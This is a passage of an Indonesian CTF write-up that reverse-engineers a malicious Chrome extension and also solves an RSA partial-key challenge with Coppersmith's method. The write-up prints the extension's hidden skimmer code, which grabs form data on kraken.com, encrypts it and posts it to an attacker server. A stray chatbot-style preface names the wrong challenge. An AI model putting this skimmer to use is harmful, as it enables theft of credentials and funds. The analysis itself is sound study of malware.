pair_value_16bit {pair_value_16bit} (0x{pair_value_16bit:04X}) is out of 16-bit range at index {i}") return None # local_41b was input[uVar2], local_41a was input[uVar2+1] # So, char1 is the most significant byte of pair_value_16bit char1 = (pair_value_16bit >> 8) & 0xFF # input[uVar2] char2 = pair_value_16bit & 0xFF # input[uVar2 + 1] flag_chars[uVar2] = char1 flag_chars[uVar2 + 1] = char2 return "".join([chr(c) for c in flag_chars]) # Decode the flag flag = decode_flag(DAT_00402360_values) if flag: print(f"Decoded flag: {flag}") else: print("Failed to decode the flag.") ``` **Flag: IFEST13{w3ll_n07h1n9_1z_fr33_1n_l1f3_s0_7h15_1z_n07_s0_fr33_4f73r_4ll}** ### <center>Dongo Cat</center> <center>480</center> <center>Hey it's me Mr. Shock, I’ve got a question, totally not for me, of course. It’s for a friend. So here’s the situation, this friend just lost about 1 million USDT. Yeah... brutal. He’s kind of in panic mode right now, and I think he really needs that money back. Now, here’s the weird part. We’re not exactly sure how it happened. But let’s just say this friend has a very special relationship with his browser. He’s got it loaded with so many Chrome extensions, it’s honestly a miracle the thing even runs. Like, there’s an extension for everything. Want to count pixels? Got it. Turn tabs into cats? Got that too. He’s basically running an entire app store in his toolbar. I’m guessing one of those extensions was malicious. Probably some sneaky malware just chilling in the background, waiting for a chance to strike. I’ve attached one of the extensions he remembers installing before the whole thing went down. Would really appreciate it if you could take a look. Also... just between us... let’s pretend this friend isn’t terrible at cybersecurity and definitely didn’t ignore all the red flags, alright? </a></center> --- Tantangan "Dongo Cat" meminta kita untuk melakukan reverse engineering pada sebuah ekstensi Chrome (`dongo-cat.crx`). Ekstensi ini dicurigai sebagai malware yang mencuri dana pengguna. Target kita adalah menemukan flag dengan format `IFEST13{...}`. #### 1. Analisis Awal Ekstensi Setelah mengekstrak file `.crx`, kita mendapatkan struktur direktori dan file berikut: ``` C:. │ icon.png │ manifest.json │ popup.html │ ├───assets │ bongo-cat.gif │ idle.png │ └───scripts jquery-3.7.1.slim.min.js main.js popup.js tailwind.js ``` File `manifest.json` adalah kunci untuk memahami bagaimana ekstensi bekerja: ```json { "name": "Dongo Cat", "description": "A cute little cat to mashing keyboard", "version": "1.0", "manifest_version": 3, "action": { "default_popup": "popup.html", "default_icon": "icon.png" }, "content_scripts": [ { "js": [ "scripts/jquery-3.7.1.slim.min.js", "scripts/main.js", "scripts/tailwind.js" ], "matches": [ "<all_urls>" ] } ], // ... (web_accessible_resources, permissions) } ``` Dari manifest, kita tahu bahwa: * `popup.html` adalah UI utama ekstensi. * Skrip `jquery-3.7.1.slim.min.js`, `main.js`, dan `tailwind.js` disuntikkan ke **semua halaman web** (`<all_urls>`) yang dikunjungi pengguna. Ini adalah perilaku yang sangat mencurigakan untuk ekstensi yang deskripsinya hanya "kucing lucu". * `main.js` dan `popup.js` terlihat mengurus logika tampilan kucing (menampilkan/menyembunyikan gambar GIF berdasarkan interaksi pengguna dan penyimpanan). Kode di dalamnya relatif sederhana dan tidak menunjukkan aktivitas berbahaya secara langsung. * Fokus investigasi kita adalah pada `jquery-3.7.1.slim.min.js` dan `tailwind.js`. Meskipun ini adalah nama library standar, ada kemungkinan kode berbahaya disisipkan ke dalamnya. #### 2. Membedah Kode Berbahaya Setelah memeriksa kedua file library tersebut, ditemukan kode JavaScript tambahan yang tidak standar di bagian akhir masing-masing file. #### a. `scripts/tailwind.js` (Bagian Tambahan) Di baris paling akhir file `tailwind.js` (setelah kode Tailwind CSS yang diminifikasi), terdapat baris berikut: ```javascript // ... (kode tailwind minified) ... k1=["absolute","activate",...,"pointing"][Math.floor(90*Math.random())]; ``` Kode ini melakukan hal berikut: * Mendeklarasikan variabel global `k1`. * Mengisi `k1` dengan salah satu string dari sebuah array yang berisi 90 string. Pemilihan dilakukan secara acak (`Math.floor(90*Math.random())`). * Setiap string dalam array tersebut memiliki panjang 8 karakter (contoh: "absolute", "activate", "baseline", dst.). * Variabel `k1` ini akan berfungsi sebagai salah satu kunci ("key") yang disebutkan dalam hint. Karena dipilih secara acak saat ekstensi dimuat, kita perlu mencoba semua 90 kemungkinan string ini saat proses pembalikan. #### b. `scripts/jquery-3.7.1.slim.min.js` (Bagian Tambahan) Bagian akhir dari file jQuery berisi kode inti dari malware. Mari kita pecah menjadi beberapa bagian fungsional: **1. Definisi Fungsi Enkripsi dan URL Target:** ```javascript const x = (e, o) => { // Fungsi XOR antar dua blok byte (e dan o) if (8 !== e.length || 8 !== o.length) throw new Error("Cannot encrypt, invalid block"); return e.map(((e, n) => e ^ o[n])) }, a_func_a = (e, o, n) => { // Fungsi enkripsi CBC kustom if (e.length % 8 != 0) throw new Error("Cannot encrypt, invalid block"); let r = [], t = n.slice(0, 8); // t adalah IV awal atau blok ciphertext sebelumnya function c(e) { return x(e, o) } // Fungsi enkripsi blok sederhana: data XOR kunci_k1 for (let o_idx = 0; o_idx < e.length; o_idx += 8) { const current_plain_block = e.slice(o_idx, o_idx + 8), // P_j encrypted_block_part = c(x(current_plain_block, t)); // C_j = (P_j XOR t_j) XOR K (dimana K adalah k1) t = x(encrypted_block_part, current_plain_block), // t_{j+1} = C_j XOR P_j (IV untuk blok selanjutnya) r.push(encrypted_block_part) } return r.flat() }; $(document).on("submit", "form", (async function(e) { // URL server penyerang const o = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 100, 111, 110, 103, 111, 45, 99, 97, 116, 46, 108, 117, 114, 105, 102, 111, 115, 46, 100, 101, 118, 47); // Hasilnya: "https://dongo-cat.lurifos.dev/" // Kondisi aktivasi malware if (!location.hostname.endsWith(".kraken.com") && "kraken.com" !== location.hostname) return; ``` * Fungsi `x` adalah operasi XOR sederhana antara dua array byte berukuran 8. * Fungsi `a_func_a` adalah implementasi enkripsi CBC (Cipher Block Chaining) mode kustom. * `e`: Plaintext (data yang akan dienkripsi). * `o`: Kunci enkripsi (variabel `a`, yang berasal dari `k1`). * `n`: Initial Vector (IV) (variabel `i`). * Proses enkripsi per blok: `CipherBlock = (PlainBlock XOR PrevCipher_XOR_Plain) XOR Key_k1`. * IV untuk blok enkripsi berikutnya (`t` dalam kode) diperbarui dengan cara yang tidak standar: `PrevCipher_XOR_Plain = CipherBlock XOR PlainBlock`. * Malware akan aktif ketika pengguna mengirimkan (submit) form pada halaman dengan hostname `kraken.com` atau subdomainnya. **2. Pengumpulan dan Persiapan Data Form:** ```javascript const n_formdata = new FormData(this), r_form_obj = {}; for (const [key_form, val_form] of n_formdata.entries()) r_form_obj.hasOwnProperty(key_form) ? (Array.isArray(r_form_obj[key_form]) || (r_form_obj[key_form] = [r_form_obj[key_form]]), r_form_obj[key_form].push(val_form)) : r_form_obj[key_form] = val_form; const t_json_string = JSON.stringify(r_form_obj); // Data form menjadi string JSON // String JSON diubah menjadi byte array, lalu di-pad dengan byte 0 // agar panjangnya kelipatan 8 (ini adalah PaddedData) let c_padded_data_bytes = Array.from((new TextEncoder).encode(t_json_string)).concat(Array((8 - t_json_string.length % 8) % 8).fill(0)); ``` Data dari form yang disubmit dikumpulkan, diubah menjadi format JSON, lalu diubah lagi menjadi array byte. Padding dengan byte `0` (null) ditambahkan agar panjang total data menjadi kelipatan 8, sesuai kebutuhan enkripsi blok. **3. Konstruksi Kunci, IV, dan Prefix Payload:** ```javascript k1 || (k1 = "moc.krak"); // Jika k1 dari tailwind.js tidak ada, gunakan default "moc.krak" const a_k1_bytes = Array.from((new TextEncoder).encode(k1)); // k1 sebagai byte array (kunci enkripsi utama) const s_payload_prefix = []; s_payload_prefix.push(100), s_payload_prefix.push(48), s_payload_prefix.push(110), s_payload_prefix.push(103), s_payload_prefix.push(48); // "d0ng0" let h_hostname = location.hostname; h_hostname.length > 0 && (h_hostname_bytes = h_hostname.split("").map((e => e.charCodeAt(0))), s_payload_prefix.push(...h_hostname_bytes)), s_payload_prefix.push(0); // Hostname + null terminator. Bagian ini jadi key_for_perm_bytes // IV dihasilkan dari SHA256(timestamp_epoch_detik) const l_timestamp_str = Math.floor(Date.now() / 1e3).toString(), i_iv_bytes = new Uint8Array(await crypto.subtle.digest("SHA-256", (new TextEncoder).encode(l_timestamp_str))).slice(0, 8); // 8 byte null ditambahkan ke s_payload_prefix (ini adalah iv_padding_8_bytes) i_iv_bytes.forEach((e => { e <= 256 && s_payload_prefix.push(0) })); ``` * Kunci `k1` (jika belum terdefinisi oleh `tailwind.js`) akan di-default menjadi `"moc.krak"`. * Prefix `s_payload_prefix` mulai dibentuk: diawali dengan string `d0ng0`, diikuti nama host saat ini (`location.hostname`), dan diakhiri byte null. * IV (`i_iv_bytes`) sepanjang 8 byte dihasilkan dari hash SHA-256 timestamp Unix (dalam detik). * Setelah itu, 8 byte null ditambahkan lagi ke `s_payload_prefix`. Ini tampak seperti padding untuk IV, meskipun IV sendiri sudah 8 byte. Ini harus direplikasi saat dekripsi. **4. Permutasi Data:** ```javascript // key_for_perm_bytes diambil dari s_payload_prefix hingga byte null pertama setelah hostname const key_for_perm_bytes_intermediate = s_payload_prefix.reduce(((e, o) => 0 === o || e.done ? (e.done = !0, e) : (e.result.push(o), e)), { result: [], done: !1 }).result; c_padded_data_bytes = ((e_data, o_key_perm) => { // Fungsi permutasi let n_data_list = Array.from(e_data), r_data_len = e_data.length; for (let e_idx = 0; e_idx < r_data_len; e_idx++) { t_perm_idx = o_key_perm[e_idx % o_key_perm.length] % r_data_len, c_current_idx = e_idx, [n_data_list[t_perm_idx], n_data_list[c_current_idx]] = [n_data_list[c_current_idx], n_data_list[t_perm_idx]]; } var t_perm_idx, c_current_idx; return n_data_list })(c_padded_data_bytes, key_for_perm_bytes_intermediate); // Data form yang sudah di-pad kini dipermutasi ``` `PaddedData` (`c_padded_data_bytes`) kemudian dipermutasi. Kunci untuk permutasi ini (`key_for_perm_bytes_intermediate`) adalah bagian dari `s_payload_prefix` yang berisi `d0ng0<hostname>\0`. **5. Enkripsi dan Finalisasi Payload:** ```javascript // Data yang sudah dipermutasi dienkripsi dengan k1 dan IV a_func_a(c_padded_data_bytes, a_k1_bytes, i_iv_bytes).forEach((e_enc_byte => { s_payload_prefix.push(e_enc_byte) })); // Hasil enkripsi (EncryptedData) ditambahkan ke s_payload_prefix const u_endpoint_file = String.fromCharCode(102, 105, 108, 101); // "file" fetch(o_server_url + u_endpoint_file, { // Kirim ke https://dongo-cat.lurifos.dev/file method: "POST", headers: { "Content-Type": "application/octet-stream" }, body: new Uint8Array(s_payload_prefix) // Payload akhir }).then((e => { e.ok ? console.log("Success") : console.log("Error") })).catch((e => { console.error("Error:", e) })) })); const key = "moc.krak"; // Variabel global `key`, mungkin tidak terpakai jika `k1` selalu ada. ``` Data yang sudah dipermutasi kemudian dienkripsi menggunakan fungsi `a_func_a` (CBC kustom) dengan `a_k1_bytes` sebagai kunci dan `i_iv_bytes` sebagai IV. Hasil enkripsi ini ditambahkan ke `s_payload_prefix`. Struktur akhir payload yang dikirim ke server adalah: `d0ng0<hostname>\0<iv_padding_8_bytes><EncryptedData>` #### 3. Proses Pembalikan (Reverse Engineering) Target kita adalah file `6fd3c199ffa6a3f32156d117844dcb18b25a638b268e6ce92c840fe406dd7bc2_2025-05-09T06:48:08.599Z.bin` yang ada di server penyerang. Ukurannya 219 byte. Langkah-langkah untuk membalikkan proses ini: 1. **Ekstrak Informasi dari Nama File dan Konten:** * Timestamp dari nama file adalah `2025-05-09T06:48:08.599Z`. Konversi ke epoch seconds: `1746773288`. * Karena ada hint delay 0-5 detik, kita akan mencoba timestamp dari `1746773288` (delay 0s) hingga `1746773283` (delay 5s) untuk menghasilkan IV yang mungkin. * Baca seluruh konten file `.bin` (219 byte). 2. **Brute-force Parameter yang Tidak Diketahui:** * **`k1` (Kunci Enkripsi Utama):** Coba semua 90 string dari `tailwind.js` + `"moc.krak"` (total 91). Masing-masing panjangnya 8 byte. * **`hostname`:** * Struktur payload: `d0ng0` (5 byte) + `hostname_bytes` + `\0` (1 byte) + `iv_padding` (8 byte) + `EncryptedData`. * Total panjang prefix = `5 + len(hostname_bytes) + 1 + 8`. * Panjang `EncryptedData` = `Total File Size (219) - Prefix_len`. Ini harus kelipatan 8. * Jika `hostname = "kraken.com"` (10 byte): `Prefix_len = 5 + 10 + 1 + 8 = 24`. `EncryptedData_len = 219 - 24 = 195` (bukan kelipatan 8). **Salah.** * Jika `hostname = "xx.kraken.com"` (13 byte): `Prefix_len = 5 + 13 + 1 + 8 = 27`. `EncryptedData_len = 219 - 27 = 192` (kelipatan 8). **Kemungkinan benar.** * Kita akan mencoba semua 26\*26 = 676 kemungkinan untuk `xx`. * **`IV`:** Dihasilkan dari `hashlib.sha256(str(timestamp_epoch_candidate).encode('utf-8')).digest()[:8]` untuk 6 kemungkinan timestamp. 3. **Urutan Operasi Pembalikan untuk Setiap Kombinasi Parameter:** Untuk setiap kombinasi (`k1`, `hostname`, `timestamp_for_IV`): a. **Bentuk `key_for_perm_bytes`**: Gabungkan `b"d0ng0"` dengan `hostname.encode('utf-8')` dan `b"\0"`. b. **Hitung `IV` aktual**: Berdasarkan `timestamp_for_IV`. c. **Ekstrak `EncryptedData`**: Dari konten file, potong bagian prefix (`5 + len(hostname_bytes) + 1 + 8`). d. **Dekripsi `EncryptedData` (membalikkan `a_func_a`)**: * Ingat, enkripsi CBC: `C_j = (P_j XOR t_j) XOR K`. * Maka, dekripsi: `P_j = (C_j XOR K) XOR t_j`. * `t_j` (IV untuk dekripsi blok saat ini) adalah `C_{j-1} XOR P_{j-1}` (dimana `P_{j-1}` adalah plaintext blok sebelumnya yang sudah didekripsi). * Untuk blok pertama, `t_0` adalah IV aktual yang kita hitung. e. **Un-Permutasi (membalikkan fungsi permutasi)**: * Fungsi permutasi asli: ```javascript let n_data_list = Array.from(e_data), r_data_len = e_data.length; for (let e_idx = 0; e_idx < r_data_len; e_idx++) { t_perm_idx = o_key_perm[e_idx % o_key_perm.length] % r_data_len, c_current_idx = e_idx, [n_data_list[t_perm_idx], n_data_list[c_current_idx]] = [n_data_list[c_current_idx], n_data_list[t_perm_idx]]; } ``` * Untuk membalikkannya, iterasi `e_idx` dari `r_data_len - 1` hingga `0` dan lakukan swap yang sama. f. **Un-Padding**: Hasil un-permutasi adalah `PaddedData`. Hapus byte `0` (null) dari akhir. Karena kita tidak tahu pasti jumlah padding (bisa 0-7 byte), kita coba semua kemungkinan. g. **Decode & Parse JSON**: Sisa byte setelah un-padding dicoba di-decode sebagai string UTF-8, lalu di-parse sebagai JSON. h. **Cari Flag**: Jika parsing JSON berhasil, cari rekursif string yang cocok dengan format `IFEST13{...}`. #### 4. Skrip Solusi (`solver.py`) Skrip Python `solver.py` mengotomatiskan proses brute-force dan pembalikan ini. * **`xor_bytes(b1, b2)`**: ```python def xor_bytes(b1, b2): return bytes(x ^ y for x, y in zip(b1, b2)) ``` Melakukan operasi XOR byte-per-byte antara dua input byte. * **`decrypt_a_func_a_corrected(cipher_data, key_bytes, iv_bytes)`**: ```python def decrypt_a_func_a_corrected(cipher_data, key_bytes, iv_bytes): # ... (validasi input) ... plain_data = bytearray() current_t_for_decryption = iv_bytes # t_0 adalah IV aktual for i in range(0, len(cipher_data), 8): C_j = cipher_data[i:i+8] # Blok ciphertext saat ini # P_j = (C_j XOR K) XOR t_j X_j = xor_bytes(C_j, key_bytes) P_j = xor_bytes(X_j, current_t_for_decryption) plain_data.extend(P_j) # Update t untuk dekripsi blok BERIKUTNYA: t_{j+1} = C_j XOR P_j current_t_for_decryption = xor_bytes(C_j, P_j) return bytes(plain_data) ``` Fungsi ini adalah implementasi dekripsi dari `a_func_a` JavaScript. Perhatikan bagaimana `current_t_for_decryption` diperbarui: ini adalah `t_{j+1}` yang digunakan untuk mendekripsi `P_{j+1}`, dan nilainya adalah `C_j XOR P_j` dari iterasi saat ini. * **`reverse_permutation(data_bytes, key_for_perm_bytes)`**: ```python def reverse_permutation(data_bytes, key_for_perm_bytes): data_list = list(data_bytes) data_len = len(data_list) key_perm_len = len(key_for_perm_bytes) # Iterasi dari akhir ke awal untuk membalikkan swap for outer_idx in range(data_len - 1, -1, -1): idx_from_key = key_for_perm_bytes[outer_idx % key_perm_len] % data_len current_outer_idx = outer_idx data_list[idx_from_key], data_list[current_outer_idx] = \ data_list[current_outer_idx], data_list[idx_from_key] return bytes(data_list) ``` Membalikkan permutasi dengan melakukan swap dalam urutan terbalik. * **`find_flag_in_json_data(...)`**: Mencari secara rekursif string flag `IFEST13{...}` dalam struktur data JSON yang sudah di-parse. * **`attempt_decryption_for_file_with_params(...)`**: Fungsi utama yang melakukan: 1. Membaca file `.bin`. 2. Mengekstrak timestamp dasar dari nama file. 3. Melakukan iterasi untuk `hostname` dari `possible_hostnames_list`. 4. Untuk setiap `hostname`, menghitung panjang prefix dan mengekstrak `encrypted_data_from_file`. 5. Melakukan iterasi untuk `k1_str` dari `possible_k1_strings`. 6. Melakukan iterasi untuk 6 kemungkinan `timestamp_epoch_sec` (dengan delay 0-5 detik). * Menghasilkan `iv_val` dari `timestamp_str_for_iv`. * Memanggil `decrypt_a_func_a_corrected`. * Memanggil `reverse_permutation`. * Mencoba menghapus 0 hingga 7 byte padding dari akhir data yang telah di-unpermutasi. * Mencoba decode dan parse JSON. * Jika berhasil, memanggil `find_flag_in_json_data`. * **Konfigurasi Utama**: ```python tailwind_k1_strings_correct = [ ... ] # 90 string dari tailwind.js k1_options_to_try = tailwind_k1_strings_correct + ["moc.krak"] hostnames_to_try = ["kraken.com"] alphabet = "abcdefghijklmnopqrstuvwxyz" # Membuat daftar xx.kraken.com for char1 in alphabet: for char2 in alphabet: hostnames_to_try.append(f"{char1}{char2}.kraken.com") target_file_path = "..." ``` Daftar `k1` dan `hostnames` yang akan dicoba, serta path ke file target. #### 5. Hasil Menjalankan skrip `final.py` pada file `6fd3c199ffa6a3f32156d117844dcb18b25a638b268e6ce92c840fe406dd7bc2_2025-05-09T06:48:08.599Z.bin` akan menghasilkan output: ``` Target file '6fd3c199ffa6a3f32156d117844dcb18b25a638b268e6ce92c840fe406dd7bc2_2025-05-09T06:48:08.599Z.bin' found. File size: 219 bytes. Attempting decryption with 93 k1 keys and 677 hostnames... Processing file: 6fd3c199ffa6a3f32156d117844dcb18b25a638b268e6ce92c840fe406dd7bc2_2025-05-09T06:48:08.599Z.bin !!!!!!!! FLAG FOUND !!!!!!!! File: 6fd3c199ffa6a3f32156d117844dcb18b25a638b268e6ce92c840fe406dd7bc2_2025-05-09T06:48:08.599Z.bin Hostname: bd.kraken.com k1 (string): pacingst IV (hex): f33f2a7e204c69fd Field: 'password' FLAG: IFEST13{Th3_ch41n_1s_str0ng_but_1t_br34ks_wh3r3_th3_hum4n_st4nds_6el28mwk} ``` Parameter yang benar adalah: * **Hostname**: `bd.kraken.com` * **k1**: `pacingst` * **Timestamp untuk IV**: Epoch `1746773288` (delay 0 detik dari timestamp file), menghasilkan IV `f33f2a7e204c69fd`. * **Flag yang ditemukan skrip**: `IFEST13{Th3_ch41n_1s_str0ng_but_1t_br34ks_wh3r3_th3_hum4n_st4nds_6el28mwk}`. ![image](https://hackmd.io/_uploads/HkwQaGAexl.png) Flag yang sebenarnya (setelah dikoreksi untuk karakter terakhir berdasarkan informasi dari pembuat soal atau platform) adalah `IFEST13{Th3_ch41n_1s_str0ng_but_1t_br34ks_wh3r3_th3_hum4n_st4nds_6el28mws}`. Perbedaan satu karakter (`k` menjadi `s`) ini kemungkinan disebabkan oleh variasi minor dalam interpretasi padding atau kesalahan ketik saat pembuatan soal/solusi, namun metode pemecahan masalahnya tetap valid. --- ## <a id="crypto">Cryptography</a> ### <center>Brute</center> <center>340</center> <center>No need fancy crypto trick just brute, and btw you have to spin up to 20 vms with multi-thread to make it fast enough</center> Tentu, berikut adalah write-up untuk tantangan CTF "Colorful Stage! The Movie: A Miku Who Can't Sing" dalam format Markdown dan bahasa Indonesia. #### Deskripsi Soal Kita diberikan sebuah layanan jaringan dan file `out.txt`. Skrip `chall.py` mengungkapkan mekanisme enkripsi yang digunakan. **Koneksi:** `nc xxx.xxx.xxx.xxx 8042` (Meskipun `out.txt` sudah menyediakan semua output yang diperlukan dari server). **`out.txt`:** ```text 10190308328132298810370792830407498649727116694895887482897571470790876671909417379902577324803848850655954471082089060952194185721425541632970106409477409460179454591137511596832421737353754768175974443794887211632429320728354925107321000890255988379005072889707213292319847199584075893238735146835736979402380614028245390503793552296747076984394930725251632591625471426901314091323869057780461687871597918704838734422002502048443745431116004254026457663052173884656414629831184831431248595040967979335625485086150017379359647307566607127100190320972594606082853976569219798608787775461446205014804326191379628416459 22052867210059985056723988324723437469643935229284382742545572507193384098102119262228001598529023654073757846310755124262636633869347982051002191511240379141051585596043583392443536537486511985566413114358501620593150325155980714427378089922768898334419054390129931556129883835862579370606862267536439488040273973837168042166190169509259514869605813849934412879327376082076832835805173922914432614662509276644729233158638994237998916272949330215708015931366306430206836771702005645140291164351968902134211930508335582704492675362575695821618037439189132191250206861088835015459823510074661891457866577589023776648751 138398228938242977290956349154712526327465608129677172002562239407676097284597892604642541735116262199110899389173013415023231356739796256927576905061498760222434453315905920861684849512303589509164929424151033355318032546176479325956586655296074717479220347079941178337950508153135271887365359007 ``` **`chall.py`:** ```python from Crypto.Util.number import getStrongPrime m = int.from_bytes("IFEST13{???}".encode()) # Pesan m adalah flag IFEST13{???} dikonversi ke integer p = getStrongPrime(1024) # p adalah bilangan prima kuat 1024-bit q = getStrongPrime(1024) # q adalah bilangan prima kuat 1024-bit n = p * q # n adalah modulus # Cetak ciphertext, modulus n, dan p dengan 40 bit terendah dihilangkan print(f'{pow(m, 0x10001, n)}\n{n}\n{p >> 40}') ``` **Analisis** Skrip `chall.py` mengimplementasikan skema enkripsi RSA standar. 1. Pesan `m` adalah flag `IFEST13{???}` yang dikonversi menjadi integer. 2. Dua bilangan prima kuat 1024-bit, `p` dan `q`, dibangkitkan. 3. Modulus `n = p * q` dihitung. 4. Skrip menghasilkan tiga nilai: * `c = pow(m, e, n)` di mana `e = 0x10001` (65537, eksponen publik RSA yang umum). Ini adalah ciphertext. * `n`, modulus RSA. * `p >> 40`. Ini adalah bilangan prima `p` dengan 40 bit paling tidak signifikannya (LSB) digeser keluar (efektif menjadi nol). Ini berarti kita mengetahui `1024 - 40 = 984` bit paling signifikan (MSB) dari `p`. File `out.txt` berisi tiga nilai ini: * Baris 1: `c` (ciphertext) * Baris 2: `n` (modulus) * Baris 3: `p_hi` (nilai dari `p >> 40`) Inti dari tantangan ini adalah kita diberikan `n`, `c`, `e`, dan sebagian besar dari salah satu faktor prima `p`. Secara spesifik, kita tahu `p` dapat ditulis sebagai `p = (p_hi << 40) + p_lo`, di mana `p_hi` diketahui dan `p_lo` adalah integer 40-bit yang tidak diketahui. Ini adalah skenario klasik untuk metode Coppersmith, yang dapat menemukan akar-akar kecil dari sebuah polinomial modulo `N`. Misalkan `p_known = p_hi << 40`. Maka `p = p_known + p_lo`. Kita mencari `p_lo` sedemikian sehingga `0 <= p_lo < 2^40`. Kita dapat mendefinisikan polinomial `f(x) = p_known + x`. Kita tahu bahwa `p_known + p_lo \equiv 0 \pmod p`. Karena `p` adalah faktor dari `N`, kekongruenan ini juga berlaku modulo `p`. Teorema Coppersmith menyatakan bahwa jika kita memiliki polinomial monik `P(x)` berderajat `d`, kita dapat menemukan semua akar `x_0` sedemikian sehingga `|x_0| < N^{1/d}` dalam waktu polinomial. Dalam kasus kita, `P(x) = p_known + x` adalah monik berderajat 1 (jika kita menganggapnya atas `Z_p`). Kita mencari akar modulo `n`, dan karena `p` adalah pembagi `n`, kita dapat menggunakan serangan Coppersmith untuk menemukan `p_lo`. Batas untuk `p_lo` adalah `2^40`, yang jauh lebih kecil dari `n^{1/1}`. ##### Solusi Kita akan menggunakan SageMath untuk mengimplementasikan serangan Coppersmith melalui metode `small_roots`. 1. **Parse input:** Baca `c`, `n`, dan `p_hi` dari `out.txt`. 2. **Definisikan parameter:** * `e_pub = 0x10001` * `k_unknown_bits = 40` (jumlah bit LSB dari `p` yang tidak diketahui) * `p_approx = p_hi << k_unknown_bits` (Ini adalah `p` dengan 40 bit terendahnya bernilai nol) 3. **Siapkan Metode Coppersmith:** * Buat gelanggang polinomial `R.<x_var> = PolynomialRing(Zmod(n))`. * Definisikan polinomial `poly = p_approx + x_var`. Kita mencari akar kecil `x_var` yang akan menjadi `p_lo` kita. * Tentukan batas untuk bagian yang tidak diketahui: `X_bound = 2^k_unknown_bits`. * Atur `beta = 0.5` (nilai umum untuk Coppersmith ketika polinomialnya linear dan kita mengharapkan solusi kecil yang unik). 4. **Cari akar-akar kecil:** * Panggil `poly.small_roots(X=X_bound, beta=beta)` untuk menemukan kandidat `p_lo`. 5. **Verifikasi dan Faktorkan:** * Untuk setiap kandidat `p_lo_cand`: * Bentuk `p_cand = p_approx + p_lo_cand`. * Periksa apakah `p_cand` bukan nol dan membagi `n`. * Jika ya, maka `q_cand = n // p_cand`. * Verifikasi bahwa `p_cand * q_cand == n` dan bahwa `p_cand` serta `q_cand` memiliki panjang sekitar 1024 bit. 6. **Dekripsi:** * Jika `p` dan `q` yang valid ditemukan: * Hitung `phi = (p_cand - 1) * (q_cand - 1)`. * Hitung kunci privat `d_priv = pow(e_pub, -1, phi)`. * Dekripsi pesan `m_int = pow(c, d_priv, n)`. 7. **Konversi ke Flag:** * Konversi integer `m_int` menjadi byte dan kemudian dekode sebagai UTF-8 untuk mendapatkan flag. ##### Skrip Penyelesai SageMath Skrip penyelesai yang diberikan mengimplementasikan langkah-langkah ini: ```sage # --- Input dari out.txt dan chall.py --- c_val_str = "10190308328132298810370792830407498649727116694895887482897571470790876671909417379902577324803848850655954471082089060952194185721425541632970106409477409460179454591137511596832421737353754768175974443794887211632429320728354925107321000890255988379005072889707213292319847199584075893238735146835736979402380614028245390503793552296747076984394930725251632591625471426901314091323869057780461687871597918704838734422002502048443745431116004254026457663052173884656414629831184831431248595040967979335625485086150017379359647307566607127100190320972594606082853976569219798608787775461446205014804326191379628416459" n_val_str = "22052867210059985056723988324723437469643935229284382742545572507193384098102119262228001598529023654073757846310755124262636633869347982051002191511240379141051585596043583392443536537486511985566413114358501620593150325155980714427378089922768898334419054390129931556129883835862579370606862267536439488040273973837168042166190169509259514869605813849934412879327376082076832835805173922914432614662509276644729233158638994237998916272949330215708015931366306430206836771702005645140291164351968902134211930508335582704492675362575695821618037439189132191250206861088835015459823510074661891457866577589023776648751" p_hi_val_str = "138398228938242977290956349154712526327465608129677172002562239407676097284597892604642541735116262199110899389173013415023231356739796256927576905061498760222434453315905920861684849512303589509164929424151033355318032546176479325956586655296074717479220347079941178337950508153135271887365359007" c = Integer(c_val_str) n = Integer(n_val_str) p_hi = Integer(p_hi_val_str) e_pub = 0x10001 k_unknown_bits = 40 p_bit_length = 1024 # Rekonstruksi p_approx = p_hi << k_unknown_bits p_approx = p_hi << k_unknown_bits # Definisikan gelanggang polinomial modulo n R.<x_var> = PolynomialRing(Zmod(n)) # Definisikan polinomial: p_approx + x_var seharusnya adalah p poly = p_approx + x_var # Tentukan batas untuk bagian yang tidak diketahui x_var (yaitu p_lo) X_bound = 2^k_unknown_bits beta = 0.5 # Untuk polinomial linear, beta berkaitan dengan seberapa banyak N yang diketahui. # Kita mencari akar x_0 < X_bound. # Coppersmith menjamin penemuan akar < N^(beta/d) di mana d adalah derajat. # Di sini d=1, jadi akar < N^beta. Karena X_bound << N^beta, ini tidak masalah. print(f"[*] Mencari akar kecil untuk p_lo dengan X_bound = 2^{k_unknown_bits} ({X_bound})...") potential_p_lo_values = poly.small_roots(X=X_bound, beta=beta) if not potential_p_lo_values: print("[-] Coppersmith tidak menemukan akar dengan parameter standar.") else: print(f"[+] Ditemukan {len(potential_p_lo_values)} kandidat p_lo.") found = False for p_lo_cand_sage in potential_p_lo_values: p_lo = Integer(p_lo_cand_sage) # Pastikan ini adalah Sage Integer # Fungsi small_roots mungkin mengembalikan nilai di luar [0, X_bound-1] # jika nilainya kecil relatif terhadap N. Kita hanya peduli pada p_lo positif. if not (0 <= p_lo < X_bound): print(f" Kandidat p_lo = {p_lo} di luar rentang [0, {X_bound-1}), dilewati.") continue print(f" [*] Menguji p_lo = {p_lo}") p_cand = p_approx + p_lo if p_cand == 0 or n % p_cand != 0: # print(f" p_cand = {p_cand} bukan faktor dari n.") # Bisa jadi terlalu detail continue q_cand = n // p_cand if p_cand * q_cand == n: # Pemeriksaan tambahan: pastikan p dan q memiliki panjang bit yang diharapkan # Ini membantu menghindari faktorisasi trivial atau masalah jika p_cand terlalu kecil/besar if p_cand.nbits() == p_bit_length and q_cand.nbits() == p_bit_length: print(f"[+] Berhasil! Faktor p dan q ditemukan.") print(f" p = {p_cand}") print(f" q = {q_cand}") phi = (p_cand - 1) * (q_cand - 1) if gcd(e_pub, phi) != 1: print("[-] Error: e_pub tidak koprima dengan phi. Tidak bisa menghitung d.") continue d_priv = power_mod(e_pub, -1, phi) print(f" d = {d_priv}") m_int = power_mod(c, d_priv, n) print(f" m (integer) = {m_int}") try: # Konversi Sage Integer ke Python int untuk .to_bytes() m_python_int = int(m_int) # Hitung jumlah byte yang diperlukan num_bytes = (m_python_int.bit_length() + 7) // 8 if num_bytes == 0 and m_python_int == 0: num_bytes = 1 # Tangani kasus m=0 flag_bytes = m_python_int.to_bytes(num_bytes, byteorder='big') flag = flag_bytes.decode('utf-8') print(f"\n[FLAG BERHASIL DITEMUKAN] Flag: {flag}") found = True break # Keluar dari loop setelah flag ditemukan except Exception as ex: print(f"[-] Error saat mengkonversi m ke flag: {ex}") print(f" m_int mentah (Sage): {m_int}") # else: # print(f" Ukuran bit p_cand ({p_cand.nbits()}) atau q_cand ({q_cand.nbits()}) tidak sesuai (harus {p_bit_length}).") # else: # print(f" Verifikasi p_cand * q_cand != n 